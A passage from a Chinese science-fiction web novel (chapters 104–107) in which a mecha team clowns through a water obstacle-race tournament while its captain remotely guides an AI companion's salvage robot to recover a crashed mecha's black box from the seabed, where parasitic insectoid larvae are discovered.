怎么会是这里？—— 作者有话说：夏天了，来点机甲清凉大闯关吧[撒花] 第104章 “各位亲爱的观众朋友,欢迎大家来到Lim杯机甲职业联赛！又是一年过去，大家有没有想念我？” “你谁啊？” “主持人不要说话了，我要看新的知觉机甲。” “快点开始比赛！” 观众席淹没在一片催促的叫喊中。 “第二星系真是民风淳朴啊,”主持人尴尬地笑了声，挽尊道,“看来大家对比赛都非常有热情，那就让我们迅速进入正题。” “随着知觉机甲的开源,我们迎来了全新的机甲时代,这次水上闯关趣味赛,不仅是活跃气氛的热身赛，还是不少新兴知觉机甲第一次亮相的比赛。” “让我们一起期待吧！” 令人兴奋的小曲奏起,灯光喷泉随音乐的节奏舞动。 现场气氛热烈,观众席的众人拿起水枪就是一顿对天狂滋。 “说到夏天,果然还是要玩水。总之，Lim杯职业联赛第一站,我们来到了第二星系拂瓦星。” “拂瓦星是一颗美丽的星球，是雷瓦尔帝国的重要旅游地,虽然曾因为污染被封锁十几年，但在雷瓦尔帝国的不懈努力下，就在去年,它终于恢复了原本的湛蓝模样，重新对全星际开放游览。” “我们的比赛将在这里进行。” “经过专业人士设计的全新赛道，现在就让我们一起揭开它的神秘帷幕！” 穿梭舰升空。 主持人踩住空中软梯，迎风嘶吼。 镜头跟着主持人，一路来到赛道正上方。 神秘的黑色遮罩覆盖了浅海周围大概十几公里的位置，此刻，遮罩彻底打开,露出内部的闯关赛道。 赛道一共分为六条，有往前的直路，也有过山车一样的悬崖，设置了各种机关。 透明通道，五颜六色的滑梯，气囊球，浮板，滑索……整个一大型水上乐园。 “现在，让我们一起按下开关。” “五、四、三！” 主持人数到一，红色的按钮被重重锤下，赛道边的灯条瞬间亮起。 所有的机关同时开始旋转。 观众啧啧称奇，都说不愧是全新设计，几乎是把选手往死里整。 “你赛道上怎么还撒泡沫水，是嫌金属不够滑吗？” “我看大部分机甲都会在转盘那里被甩飞出去，它看上去简单，但对机甲来说，失去重心可是很危险的。” “话说好像小时候看的闯关节目，请问跑到终点有冰箱领吗？” “想象力贫瘠了朋友，岂止送冰箱啊。” “听说送星舰！” “什么？我去，机甲协会下血本了啊，竟然第一场比赛就奖励一艘星舰？” “什么型号的星舰啊，让我康康。” 主持人热情道：“相信大家也很关心本场比赛的奖励，我们不来虚的，没有套路——本场比赛人气榜排行第一的队伍，奖励最新星舰一艘，价值九千万星币，可以折现哦。” 主持人竖起一个大拇指。 “加西亚电子赞助，载客容量三十人，家族旅行必备。” “最重要的是，附赠一年协会星舰驾驶课程，优选金牌教练手把手教学，科目二包过的。” “只要拿到人气榜第一，你就可以自驾星际旅行了！” 众人：“哇——” “好心动，早知道我也报名比赛了。” “不用遗憾，参加这比赛都是职业选手，听说还有前线退役的少校，我们一般人参加了也是陪跑，拿不到奖励的。” “不过有两个队伍是新人，应该挺菜的，叫什么……太空女鬼队，图兰提斯战术小队，我们可以跟她们拼一拼。” “图兰提斯我倒是听说过，不过这个太空女鬼队是什么？我只看过那部叫“太空女鬼”的烂片，它们也赞助机甲小队了？” “天穹杯冠军啊！你不知道？” 一旁有人嗤笑一声：“高校联赛有什么含金量，听说这次天穹杯甚至有名不见经传的小队伍捡漏了个季军，你敢信？帝国第一军校竟然排第五名，肯定有猫腻。” “太空女鬼队拿冠军不过是运气而已。” 这人两腿岔开，双手抱臂，语气里满是对太空女鬼队的轻视。 “听说队长体质还只有F……真正的优秀机师怎么可能体质这么差。” “机师就是要靠拳头。” 观众席热烈讨论。 现在的时间是9:55分。 距离比赛开始还有五分钟。 大家挥舞着手中的水枪，开始欢呼。 “好的，现在让我们看一下选手准备区，所有的知觉机甲都成功来到了起跑地点，看来大家都已经跃跃欲试。哦，甚至已经有队伍打起来了？” 主持人惊讶地扬起声线，而镜头瞬间拉近。 只见赛道开口处，白色机甲正把另一台黑粉色机甲按在地上狂揍。 一台紫色的机甲正小心翼翼劝架。 而旁边的纯黑色机甲半蹲在地，懒洋洋读秒，似乎是在cos裁判。 纯黑色机甲拍了两下地板，举起双手，比了个“一”。 “哦——是白色机甲赢了。” “压倒性的强度。” “黑粉色那台似乎不服，又攻击上去了。” 众人：“哇哦，趣味赛，你甚至能在准备区看到趣味搏斗。” “不是，就没有人拦一下的吗？” 被按在地上的林别歌比出一个国际 通用友好手势。 大家看得乐呵呵的。 主持人却是汗流浃背。 “这个，我们是趣味赛，不是互殴赛，殴打对手是犯规的啊，要罚下场的，这两位选手是哪家的，我看看。” “嗯？” 主持人一脸不可置信地看了眼机甲头顶的队名。 又看了一眼。 打架的这两台机甲怎么是队友？ 正常队友会在比赛前打得这么你死我活，掐脖子踹腿，招招致命吗。 而且起哄的那台纯黑色机甲…… 怎么还是队长机。 队长干这个合适吗？ 你们太空女鬼队怎么回事？ “哪家队伍还没比赛就开始内讧了。” “哈哈哈哈哈太好笑了，你们看到那台粉色机甲刚刚的动作了吗？她刺溜一下就滑出去了，然后她队长眼疾手快，跟拖狗一样把它拖回来。” “话说这台机甲的涂装不要太好笑，怎么上面还贴了水钻，你们莱机所设计部究竟在搞什么创新。” “黑色打底，粉色点缀，再加致死量的水钻，队名是用蕾丝贴上去的，好古老的风格。水钻还拼成一只猫猫兽人……” “我不行了，人气榜投票开了没？我要去给她们点赞。” “哈哈哈哈开了，我也去。” 人气榜刚刚联网，大部分队伍都是0人气值，唯独太空女鬼队瞬间冒出了几万个点赞。 场上的选手们本来还在稀里糊涂看新人队伍内讧，这会儿都恍然大悟。 “原来这场搏斗竟然是为了人气榜……！” “这么早就已经开始竞争了吗，失策了，早知道我也提前规划一下。” “没关系，赛道很长，我们接下来加油。” “我们一定要拿到星舰去星际旅行啊——” “哦哦！” 众人扬臂高呼。 无人在意的角落，有人对太空女鬼队的得分不满意，不服地去找裁判理论。 “她们这样搏斗违反规则第十六条了吧？” 裁判摇摇头，语气犹豫：“呃，十六条确实是有规定不能在赛场上殴打对手。” 那人得意地抱臂道：“那你应该罚她们失去比赛资格。” 裁判擦了一下额角的汗。 “这个嘛，不能打对手，但没有规定说不能打队友。” 那人反刍完裁判的话，仿佛晴天被雷劈。 她喃喃道： “竟然还有这招……” “哈——啾！” 陶影搓了搓手臂上的鸡皮疙瘩，把衣服裹得再紧了一点。 比赛马上开始，她提前连接了知觉机甲，瞬间就感受到机甲外的海风。 赛场的氛围她是挺享受，但唯独这个环境让她觉得十分不适应。 海风潮湿，粘稠。 海浪打在赛道的边缘，溅起的水花，顺着机甲的腿部缓缓流下。 陶影头皮发麻。 “哈啾！” 她忍不住又打了一个喷嚏。 林别歌关心地凑过来：“怎么了影子，不会感冒了吧？” 南卦惊恐：“什么，小影又发烧了？” 陶影摆摆手：“没有，就是踩到水，触感有点不舒服。” 说着陶影不太自在地操纵机甲，抖掉腿上的水流。 柏墨上下看了她一眼：“你属猫的啊？” 林别歌严肃举手：“我作证，她绝对属猫！” “不喜欢沾水，爱玩弄人类，还喜欢喝猫薄荷味的营养液，再加上油炸虎斑大面包二世莫名很亲她，铁属猫的！” 柏墨疑惑：“油……那个什么大面包是谁？” “哦，这个啊，我们家收养的流浪猫，你要看照片吗，很壮实的一辆半挂。” “不用了，我不是福瑞控。” 柏墨冷淡拒绝。 林别歌撸一把袖子：“这跟福瑞控有什么关系，谁说喜欢毛绒绒的东西就是福瑞控？我们大面包这么可爱你竟然不看，呵，机性恋。” “这句话还给你，我只是喜欢机甲而已，为什么一定是机性恋？” 眼见两个人要因为XP问题再次打起来，陶影无表情地伸手。 “还有一分钟就比赛了，你们要不省点力气用到赛道上？” 但显然，两人已经打得忘记时间忘记地点。 行吧。 反正这场比赛是靠观众投票取胜，她们打架还能攒点人气值。 这么想着，陶影顺手点开人气榜的面板。 太空女鬼队的人气值在两位队友的互殴中，正在稳步上升，和只有几百分的其它队伍形成了鲜明对比。 不错的开局。 不过……接下来才是重头戏。 陶影被分配到第六赛道，所有赛道中最简单的一条。 但也是最难取胜的一条—— 作者有话说：谁家好人靠队友互殴得分啊[抱抱] 第105章 比赛的哨声刚刚响起,几十台形态各异的机甲迫不及待地冲入场地。 入口处顶棚，十二个巨大的黄色水桶用金属杆串起来，水桶一装满水,立刻顺杆旋转一百八十度。 水桶里的水倾泻而下，把冲在最前面的选手们浇了个透心凉。 空中不停冒出泡泡,飘满整个赛场。 平日里灵活的机甲，因为水分的侵入,显得有些笨重。 但泡泡的滑腻又弥补了这一点。 一时间,入场处的水滑梯上满是机甲翻滚的身影。 “救命啊！”“好滑。” “谁设计的赛道,比赛结束出来跟我谈一下人生。” 几台机甲滑得劈叉，甚至还有一台机甲直接从滑梯上飞了出去。 观众抬手,目光随着那台机甲远去。 机师的声音越来越小,逐渐化作海中的一个小点。 “扑通——” 爆出完美的水花。 “哇,空中转体三周半，高难度动作。” “去掉一个最高分,去掉一个最低分，后面忘了,总之满分。” 场地内一片喧闹声，陶影站在五彩赛道的最后，慢悠悠排着队,似乎并不忙着比赛。 陶影垂头看了眼光脑，还没有新消息。 看来海的那边还没有进展。 她想了想，走到滑梯前，盘腿坐下。 南卦站在赛道下方，朝陶影挥手。 “小影，你不下来吗？” “我等会儿再下来，你先追上她们两个吧。” “好！” 两人说话的时候,又有两三台机甲飞了出去。 陶影“哦”地感叹一声，开玩笑道：“这下前线都不需要设计机甲弹射装置了，只需要一个滑梯，和一点点泡沫水，我们的机师就可以飞出去这——么远。” 柏墨回答认真：“我强烈怀疑采用这个传输装置，我方机师不能活着到达目标点。” 陶影：“不用怀疑，刚才的几名选手多半进医疗舱了。” 南卦好奇：“你怎么知道？” “他们队伍的人气值突然超越我们，飞到了前三。” “直播间都在刷‘一路走好’。” “……” “大夏天的突然好阴啊。要不影子你也试试这招？感觉很涨人气值。” 陶影看了一眼滑梯，果断拒绝。 “我有其它阴险手段……哈啾。” 你刚刚说了阴险是吧？ 林别歌本 来想吐槽黑心队长演都不演了，又被她的喷嚏声打断思路，嘟囔道： “怎么这么怕冷，不会真发烧了吧？别硬撑啊，反正是热身赛。” 南卦轻声细语关心：“这里的环境的确和切斯特星不太一样，小影是不是刚来拂瓦星有点水土不服？你这几天都有点没精神。” “嗯，还心事重重的，成天呆在房间里，甚至都没出门欺负本队友。” 林别歌抱臂，语气肯定。 “你不对劲。” 陶影随口回了句“本队长这么善良，怎么可能欺负队友”，但她想了想，这几天好像还真没怎么跟队友说过话，更别说逗林别歌玩了。 她操纵光脑的手一顿。 她的心不在焉表现得这么明显，连林别歌这个神经大条的都看出来了。 失策。 陶影于是一本正经地点头：“确实，身体有点不舒服，想休息一下。这场比赛就靠你们了，我值得信赖的队友。尤其是你，林别歌。” “我们认识很久了。” 不知道为什么突然被点名的林别歌头顶问号。 黑心队长的语气怎么有些怅惘？这么感性，都不像她了。 但林别歌很快就反应过来。 陶影多半在打什么坏主意。 不过看在这位黑心队长，最近身体不太舒服的份上，她就装作没发现吧。 绝对不是因为什么“信赖的队友”让她很开心。 林别歌嘿嘿傻笑两声，拍着胸口保证： “是啊，我们认识很久了，交给我吧，我一定帮大家赢回那艘星舰。” “等职业联赛结束，我们就一起去星际旅行！” 林别歌随后睨了眼身侧的柏墨：“除了你，我是不会带你的。” 柏墨冷笑一声：“谁稀罕跟你一起？而且我认识她比你更早。” 林别歌：“？” “这你也要比？” 两人对视一眼，摩拳擦掌，又干了起来。 南卦看着赛道中心已经完全忘记比赛，只想着怎么把对方推进水里的两位队友，慌忙道：“那个，小影？” 陶影眨巴眨巴眼睛：“随她们去吧。” 比赛如火如荼进行中。 主持人高举手臂：“再来亿口辣条队率先冲入第二关！” 滑梯的尽头，四台矮胖的机甲呈球型飞速滚下，空中开启推进器，在冲劲中，完美停在第一关跑道的末尾。 第一关和第二关之间，隔了大概百米的距离。 海面浮动着十几个巨大的充气透明球体，差不多十米高，正好可以塞下一台机甲。 近海的赛道被金属支架牢牢固定，海水时不时打在赛道边缘，泛起白色浪花。 “加油啊，再来亿口队！” 再来亿口辣条队，受同名辣条厂商全额赞助，队员也都是辣条厂商的内部员工。 整个队伍的机甲外观，沿用了辣条包装的设计，俨然是个巨大的人形广告牌。 “这个设计，将机甲的冷硬美学和让人流口水的食物完美结合在一起，堪称是星际一绝……” 赛方人员讲完广告词，面无表情地掐掉了话筒。 “终于说完了。这个辣条厂商的机甲真是让人食欲大开。但谁要看着机甲流口水啊，我的味觉跟视觉都错乱了。究竟谁设计的？” “听说是辣条厂老板的机械猫。” “它家猫吃电子蘑菇了？” 在赛方人员的吐槽声中，孜然、五香、麻辣、蒜香味机甲，正站在岸的左面，思考怎么过“河”。 “对岸距离太远，看样子我们需要钻入充气球，通过在水面滚动，才能到达下一关。” 这是队长机，孜然辣条号。 五香辣条号对此表示赞同：“而且这样应该更吸睛。” 麻辣味大喊：“劲道！” 蒜香辣条号：“中。” 再来亿口辣条队很快达成一致，扒拉起充气球。 但孜然辣条的手刚一摸到球，捏了下，球传来“卜卜”的干涩声，火速被弹到对岸。 孜然辣条号：“……” 机甲的手并不灵活，而球体表面十分光滑，再加上沾了水，根本没有抓握的地方。 它们满头大汗地在水里刨了半天，总算成功钻进了球里。 辣条四壮士于是开始缓慢跑步。 但不管怎么跑，都像是在水中鬼打墙，距离对岸越来越远。 “哦，很遗憾，再来亿口辣条队痛失孜然味选手，现在赛道上只剩下五香、麻辣、蒜香的三位选手，还在努力朝终点行进。不过辣条队的人气绝赞上升中！” “辣条厂为了宣传也是拼了。” “冲啊！” 辣条队因为机甲涂装太过抽象，一下子超越前三，成为人气榜第一。 而太空女鬼队当前排名，第四。 …… 第六赛道，选手基本都已经通过第一关，只有寥寥几位还在入口处。 陶影的前方，两位选手接连滑下水滑梯。 其中一位因为太重，踩塌浮板。 另外一位，在转盘被撞得晕头晃脑，最后从转盘边缘甩飞出去。 入口处只剩三台机甲。 一台是恒我。 另外两台都是旧式机甲，陶影大概观察了下，动作生疏，操纵者应该是普通的机甲爱好者。 单纯出于爱好来参加比赛。 黄色机甲害怕地抱头防守。 灰色机甲的机师胆子稍微大点，捏了捏拳头，腿往外一伸，但在看到那长长的滑梯后，还是往回走了两步，最终也放弃了比赛。 但灰色机甲没有离开场地，它回头看见恒我，动作似乎迟疑了下，然后不协调地走了过来，坐到恒我的旁边。 屏幕上弹出近距离通讯请求。 陶影顿了顿，接通了，面板右下角出现一个女人。 那人叹了一口气，撩起汗湿的耳发，露出脸颊的雀斑，随后不好意思地笑了声。 “你是不是也恐高不敢下去？” “差不多吧。”陶影随口答道。 女人一副果然如此的表情。 “我看你一点没犹豫直接坐下就猜到了。本来还担心只有我一个人坐这儿会有点丢脸，现在有三个人都不敢出发，我就放心了。” “话说你开的是恒我啊？我跟这台机甲有点缘分，小时候拍过它的照片……” 陶影本来还想说这人估计是太紧张了，嘴里话就没停过，听到她这句话，突然“哦？”了一声，抬起头。 “你是拍下火灾前照片的那个人？” 女人不想牵扯进那场火灾，下意识反驳不是，愣神片刻，突然反应过来。 “你怎么知道，之前联系我要火灾照片的是你？” “听莱机所的人说过。”陶影模棱两可道。 那女人搓了搓腿，低头自嘲道：“也是，怎么会那么巧，遇到莱机所的核心人物。” 陶影认出，这人是当年夜探莱机所的三名机甲爱好者之一，现在也已经脱去少年意气，没那么莽撞了。 女人转换了一下心情：“听说尤里斯已经进入军事法庭，这次逃不掉制裁了。陶影的事，我有帮上忙吧？” “嗯，你帮了大忙。” 那女人道：“但我还是觉得不够。” 陶影疑惑：“什么不够？” “如果当初我再早一点站出来……可能真相能更早大白，但我没有勇气。” 陶影低低笑了两声。 “你已经很有勇气了，我要是你，根本不愿意牵扯进这些麻烦事。” “何况就算你当时站出来，也只是多一具尸体而已。” 陶影后面一句说得很小声，女人没有听清，她凑近屏幕问：“你说什么？” 陶影眼神慈祥：“没什么，总之陶影的在天之灵很感谢你，她日记里这么写的。” 女人：“……” 两人交谈期间，镜头又捕捉到了入口处仅存的三台机甲。 主持人语气疑惑：“太空女鬼队的队长究竟在思考什么人生？她和‘爱丽丝号’对坐在入口，好像在讨论什么。” “但内容我们不得而知。总之，让我们看看她前方的队友吧！” “柏选手抓住了空中滑索，几个卷腹连续提升高度，哦，非常漂亮的一跃！她横跨跳台来到了下一个位置。” “林选手紧随其后。” “两人延续了赛前的竞争，互不相让。啊，林选手在往对方的赛道泼水！柏选手滑倒，好险，差点掉进海里。” “太空女鬼队竟然在最简单的赛道打出了最具有火药味的一波操作。” “而此时此刻，南选手正在45度角仰望天空。” 观众纷纷摇头：“真是毫无团魂可言。” “队长呢，出来劝一劝啊。” “别说了，队长还在入口处没出发呢。” 第106章 切斯特星B区,海台科技大楼。 总裁办公室。 女人刚开完三场会议，神色疲惫地推 开门。 她从酒柜掏出一瓶酒，倒入酒杯,凑近闻了闻，甘甜的樱桃香萦绕鼻尖,抿了一小口。 微闭着眼，半靠椅背。休息片刻后,重新睁开眼。 伊琳娜敲敲身边的电子秘书。 “拂瓦星那边情况怎么样？” 秘书计算片刻,回答道：“总裁,当前Lim职业联赛，热身赛排名第一的是再来亿口辣条队。” 秘书递过平板,上面正在播放职业联赛的直播。 “蒜香辣条号机甲到达终点,此刻正在跳热舞。” “图兰提斯战术小队不知道哪里掏出来把巨大的鱼竿,开始直播钓鱼，但目前一条都没钓上来。” “太空女鬼队,柏选手和林选手的搏斗进入了白热化阶段。” “而她们的队长安然如山，坐在入口处,不知道是出于什么考虑。” “观众席简直是人类大型返祖现场。” “总而言之，赛场一片混乱。” “您投资的太空女鬼队，目前排名第三。” 电子秘书如是总结。 伊琳娜一脸痛苦地把平板推了回去,按了按太阳穴。 “我关心这种胡闹的比赛做什么，又不缺那台星舰。我问拂瓦星不是因为这个。” “那您是因为？” 伊琳娜：“那个工作狂没联系我？” 电子秘书卡顿了一下，似乎在进行计算，很快它回答：“如果您说的工作狂，指的是那名坐轮椅的同学，那么没有，您刚才六个小时会议期间,她完全没有联络过您。” 伊琳娜“啧”了一声，钢笔戳透纸背。 “明明说今天有重要的事找我帮忙，她倒是失联得很干脆。” “滴滴。” 光脑传来新通讯，陶影低头接通。 一台打捞机器人出现在屏幕上。 明明是无人驾驶的型号，动作却非常灵活，像有人类的灵魂灌注其中。 光线很暗，机器人似乎在深海的某个角落移动着，旁边时不时有巨大的鲨鱼甩着尾巴过来。 头顶的手电光线太过明显，打捞机器人只能将光线捂住，以免引来更多奇怪的深海生物。 陶影熟稔地跟机器人打招呼。 “找到了？” “还没有。” 打捞机器人里传来叶行晖闷闷的声音。 “那发消息做什么。” “这里太黑了，我一个人呆着害怕。” “哦，原来是因为怕黑，我还以为是想找个借口跟我聊天呢，判断失误了。” 被说中的叶行晖：“……” 陶影确认了一下坐标，叶行晖一直在第六海域附近打转。 陶影摸摸下巴：“确定是在这个地方？要不往周边再找找。” 叶行晖摇了摇头：“我看过照片，那台有毒机甲就是在第六海域坠落的。但确实很奇怪，可能出现的区域，我都已经扫描过……会不会是已经被打捞走了？” “不太可能。” 陶影拖动着叶行晖传输过来的扫描数据，一一确认。 “当年机甲坠落后不久，的确有爱荷华科技的人去打捞过，但因为赤潮毒素蔓延了一大片海域，打捞者都有去无回，重复几次，他们就放弃继续搜索了，估计想着反正也不会有人发现。” “这些年清理毒素，周围都有士兵严格把守，拂瓦星又是刚刚开放，黑匣子被打捞的机率不大。” “最重要的是，我没有在爱荷华科技查到相关记录。” 陶影简单解释了一下，叶行晖听了半天，最后迟疑地问出一句：“你去爱荷华家了？” 陶影面色疑惑：“我没事去爱荷华家干什么？” 她刚才解释的重点难道不是机甲的黑匣子还在附近的海域，没有被打捞吗？ 小叶的脑回路有时候也挺奇怪，老是抓不住重点。 陶影摆手，不再纠结这个问题：“网上顺手查了查。爱荷华家族这些年把一些信息电子化，查起来挺方便的。” 陶影说着，看了眼打捞机器人的信息面板。 电量剩余30%。 机器人从海底上升到顶部的极限电量是15%，低于这个比例，打捞机器人会无法上浮。 “今天应该没什么收获了，叶行晖，先上岸充电吧。” 叶行晖应了声好。 打捞机器人推了一下头顶的手电，把它锁定到正前方的位置，方便上浮。 陶影手指挥动，整理收集的数据，余光扫到屏幕的角落，动作顿了一下。 陶影身子坐直，往前挪了点。 刚刚那是什么东西？ 屏幕的角落，叶行晖身后窜过一个黑色的影子。 那东西速度极快，飞速搅动，沉入海底的泥沙。 叶行晖身后的水域漫起一阵浑浊。 陶影点了下回放，局部放大刚刚不明生物出现的位置，但经过图像处理，也只能勉强看清是一个条状的生物。 长度在八十厘米左右。 陶影靠在座椅上，盯着屏幕，静静地坐着。 打捞机器人配备了顶级的录影设备，哪怕在光线不充足的情况下也可以完美捕捉深海的场景。 如果没办法记录这个生物的全貌，只有一种可能。 说明它速度非常快。 但深海的温度通常在0~4摄氏度，很冷，且缺乏食物，这里大部分动物都行动缓慢，发光水母、巨鲨…… 这个生物的速度，实在不像是深海的生物。 但又能是什么呢？ 陶影手指抵住下巴，嘴唇微抿，思考片刻后，出声道： “叶行晖，你往身后照一下光。” 打捞机器人停下脚步，似乎疑惑陶影为什么突然这样问，但它还是乖乖照做。 它转过身，头顶的光束对准了背后。 “这样吗？”叶行晖小心道。 “往左10度左右。”“这样？” “再往下一点，对，就是那个位置。” 陶影凝视着那个生物消失的地方。 泥沙搅动，混合着海洋雪，附近的水域一片浑浊。水体的温度仿佛隔着屏幕传递过来，异常冰冷。 陶影笃定，那里一定有东西。 微弱的光点闪烁，一团模糊的影子在黑暗中若隐若现。 叶行晖没有移动，那条生物似乎觉得安全了，从泥沙中缓缓“生长”出来，一寸寸拔高。 它勾起头部，微微地向前试探。 近一点，再近一点—— 但陶影还没来得及看清那生物是什么。 镜头突然猛烈地震动。 视野开始反转，让人头晕恶心。 两排尖利的牙齿骤然穿透模糊的海水，咬住镜头，但片刻后，那个生物发现合金太硬咬不动，似乎不能吃，又甩开了它。 镜头即将被水流卷走的片刻，一把被人捞住。 叶行晖的声音从头顶传来。 “小影，刚刚有什么东西撞到我了。” 陶影敲敲脸颊。 “嗯，我看看。” 叶行晖很快重新绑好摄像头，对准那个生物。 是一头成年的雌性安康鱼。 尖利的牙齿参差不齐，头顶发光体，下腹五六个肉突，长得乱七八糟。 它绕着叶行晖游了几米，似乎是对这个打捞机器人有些好奇。 观察一阵后，安康鱼耐心耗尽，尾巴甩动，悠然地离开了。 叶行晖镜头对准那条鱼 ，往前跟随了几步，询问这头的陶影。 “你刚刚是要看这个？” 为什么？这条安康鱼有什么特别吗？ “我记得这个品种一般会用来加工成鱼油，制造的营养剂可以补身体。” 叶行晖低头自言自语几句，沉思片刻，追了上去。 眼见叶行晖对那条形态诡异的安康鱼的态度，已经从研究外表变成了对待食材，陶影伸手止住。 “不你等一下，晚饭先放在一边。” “我刚刚看见的是一个长条形的生物，像白色的长条虫类，大概八十厘米长，速度极快。” “长条虫类，速度还很快？” 叶行晖闻言止住脚步，又回头四处照了照。 那肯定不是安康鱼。 拂瓦星的海底应该没有类似的生物。 “虫类，不会是虫族吧……？” 陶影摊手：“谁知道，总之不像是这里的原住民。” 叶行晖又在原地转了几圈，那个不明生物再也没有出现过。 陶影看了眼打捞机器人的电量，已经下降到20%，马上就要到临界电量。 那个生物易受惊吓，水被搅浑，应该更不会出来，今天大概不会有什么收获了。 陶影于是敲了敲屏幕。 “你先上来吧。这么黑，还有七八米的大鲨鱼在你头顶盘旋，你不害怕被吃掉？” 叶行晖看这人一脸逗小孩的表情，语气瞬间变得有些无力。 “小影，你有时候真的很幼稚，它们的食谱全是碳基生物，我现在很安全。而且我的意识核心数据都存储在切斯特星，就算被吃掉也不会死……哎！” 叶行晖话说到一半，突然被撞，那条七米长的巨鲨眼神不太好，还真朝它游了过去。 机器人手忙脚乱地后退一步。 陶影趴在操作台上没忍住大笑出声。 “你怎么老是被碰瓷？” “可能因为我好欺负吧。” 叶行晖面露无奈，伸出机械手臂，按住鲨鱼的吻部区域，轻推一下，那鲨鱼瞬间身体僵直，转了个方向，也甩动尾鳍离开了。 陶影正要再说两句，就发现画面卡住了，精准的停止在了鲨鱼尾鳍的最后一帧。 “叶行晖？” 没有回答。 陶影以为是连接问题，检查了一下网络，但发现通讯正常。 下一刻，画面突然开始转动，噶嗒噶嗒的几声短促脆响，像是金属被刺穿的声音。 突兀的巨大杂音穿透水流，割穿人耳膜一样的高频率叫声传输到驾驶舱。 陶影听得头晕脑胀。 不知道什么时候，她身侧的触手怪跳上操作台，也凶恶地对着麦克风叫了两声。 那头的高频率声音消失了。 陶影扶着头坐正身体，看向屏幕。 “叶行晖？” 雪花覆盖，通讯信号彻底断掉了。 陶影轻轻点击了一下回放按钮。 最后的画面，摄像头精准地扫过那个发出声音的生物。 “……” 足足有十米的巨物，就那么埋藏在海底的泥沙中。 是一只沉眠状态的虫族。 第107章 虫有着坚硬的外壳,身体扁平，泛着深棕色，头顶的两根长长触角随着水流甩动。 六条充满黑色倒钩的大毛腿。 巨镰虫。 喜欢阴暗潮湿的地方,攻击性不强，处于食物链底端,甚至打不过一些大型猛兽。 但以生命力顽强出名。 俗称大号蟑螂。 是整个星际最常见的虫族。 但再怎么顽强，在深渊带这种生存环境极其恶劣的地方,巨镰族不太可能存活。 陶影放大截屏确认。 果然,混乱的泥沙中,巨镰腿部朝天，十分僵硬。进食的大颚已经断裂,明显无法咀嚼,翅膀也从甲壳中伸出一部分,被几条小鱼分而食之。 整体看来，巨镰是已经死亡的状态。 但如果它已经死亡,刚刚又为什么会动？ 陶影凝视着屏幕，突然注意到巨镰的腹部不自然地鼓出。 这鼓出并不平滑,而是一粒一粒的。 无数密密麻麻的卵挤在一起，仿佛要把巨镰的腹部挤得裂开。 而那里的确裂开了细微的缝隙，一条白色的条状生物正试图穿过缝隙,钻进内部躲藏起来。 正是陶影先前看到的不明生物。 看清它的模样，陶影惊讶地咦了一声。 这个形态，难道是？ 多年前，十三信标裂隙曾涌现大量未知虫族，它们数量繁多，迅速占领了附近的星球。 众人将它命名为瘿虫。 瘿虫的繁殖速度令人类闻风丧胆。 它体内的卵鞘一次可以孕育上万的虫卵，在发育成熟后并不会直接排出体外,而是涨破母体，并以母体为食，迅速发育。 一只瘿虫虫母，哪怕是D级，它躯体所喂养的子子孙孙也可以在三天内蚕食整个星球。 非常危险。 当年，瘿虫在第十三信标裂隙迅速扩张，人类险些迎来灭顶之灾。 危机时刻，西尔维娅元帅迅速奔赴前线，精准捣灭三十七处虫母巢穴。但即便如此，也只是勉强压制住它繁殖的速度。 最终之战，整个塔恩泽星被高温笼罩，虫巢被彻底摧毁。 元帅和最大的S级瘿虫虫母同归于尽。 那对人类来说是一场牺牲巨大的惨烈战争，直到今日依旧没有恢复元气。 之后，第二星系再也没有发现过瘿虫的痕迹。 它成为了课本中的历史。 星际所有人都有一个常识，那就是不管什么等级的瘿虫，一旦发现，都默认是最高威胁，必须马上消灭，并立刻上报附近的虫族防灾应对署。 而时隔多年，竟然在海底又发现了它的幼虫。 触手怪对瘿虫反应很大，它跳到陶影怀里，开始愤怒地喵喵叫。 陶影敲敲台面，又指了指自己被踩出淤青的大腿，示意某只精神体注意轻重，触手怪呜喵两声，心虚地跳到一边。 陶影再次抬头看向屏幕。 海底不适合瘿虫生存，这些虫卵应该是寄生在那只巨镰身上，被迫坠入深渊带，这些年勉强靠着吸食巨镰的残肢生存。 虽然目前在海底老实呆着，但放着不管还挺危险的。 之后记得通知虫族防灾应对署吧。 陶影正想查看叶行晖当前的情况，通讯自动连接成功，画面中，打捞机器人从巨镰的身下爬了出来。 叶行晖手中提着一个黑色的特制箱子，在摄像头面前晃了晃。 “小影，我找到黑匣子了。” 说着叶行晖掀动巨镰的甲壳，下方露出一台机甲的残骸。 “刚才被这只巨镰压住，打捞机器人和我的意识断开了连接，我在重新做意识整合，所以没有跟你联络。” “嗯，我知道。” 智能体可以同时存在多个意识。 分意识和本体意识重新连接时，会花费大量时间整合分开时产生的数据。 小叶这个整合速度已经算快了。 陶影没太纠结，端详起他手中的黑匣子。 “难怪在附近扫描半天没发现，原来是被巨镰压住了，你离它远点，它的腹部有瘿虫的幼虫寄生。” “ 瘿虫？”叶行晖语气十分惊讶，他转头看了一眼，果然发现不对。 他抱着箱子，乖乖撤到安全距离之外。 “我在书上读过，不是说它们已经灭绝了吗？” “大概是漏网之虫，你有被攻击吗？” 叶行晖摇了摇头：“没有，它刚刚埋在泥沙里，突然抽动钻了出来，但听到触手怪的声音后，很快就安静了。” “感觉它们有点怕那只触手怪喵喵叫。” “虫族也不是路边的蟑螂，它们一口都能把猫吃掉，总不可能是怕猫吧。” 陶影说着，戳了戳那坨触手。 “不是被猫叫吓到的，刚才触手怪通过恒我，发起了精神力攻击。” 叶行晖点头：“我隐约感觉到了，小咪之前就会这招吗？” “不，这是它第一次展现出攻击性，我也觉得很奇怪。” 陶影自动无视了“小咪”这个可爱的称呼，两手交替，用甩面条的手法上下甩动两条触手。 陶影问：“你为什么攻击它们。” 屏幕上缓缓出现几个大字。 【瘿虫，危险，立刻处理。】 “嗯，是挺危险的，但处理它们不是我的工作，还是交给专业人士比较好。” “叶行晖，你先上浮。” 陶影此行的目的是黑匣子。 有了黑匣子，就能知道那台机甲坠落第六海域前究竟发生了什么。 只要打开匣子，当年赤潮蔓延的真相，还有这头巨镰为什么出现在这里，都会明了。 先拿到再说。 叶行晖看了一眼电量，正好15%。 “准备上浮。” “OK。” 叶行晖一路穿越海底的超深渊带、深渊带、中层带，来到上层带。 上浮过程中，水压减小，光线指数上升，阳光和海水逐渐温暖起来。 很快，叶行晖上浮到海面。 它翻上一艘搭载迷彩的隐蔽船体，来到驾驶室。 这艘船并不大，船上也没有其它人，只有叶行晖。 “按预定行事？”叶行晖问。 陶影的计划是，比赛结束后先将船开到其它不显眼的海域，再由伊琳娜的秘密星舰接应。 把黑匣子带到第三星系进行解密，那里的环境更安全一些。 原本是这么打算的，陶影视线却停留在打捞机器人的腿上。 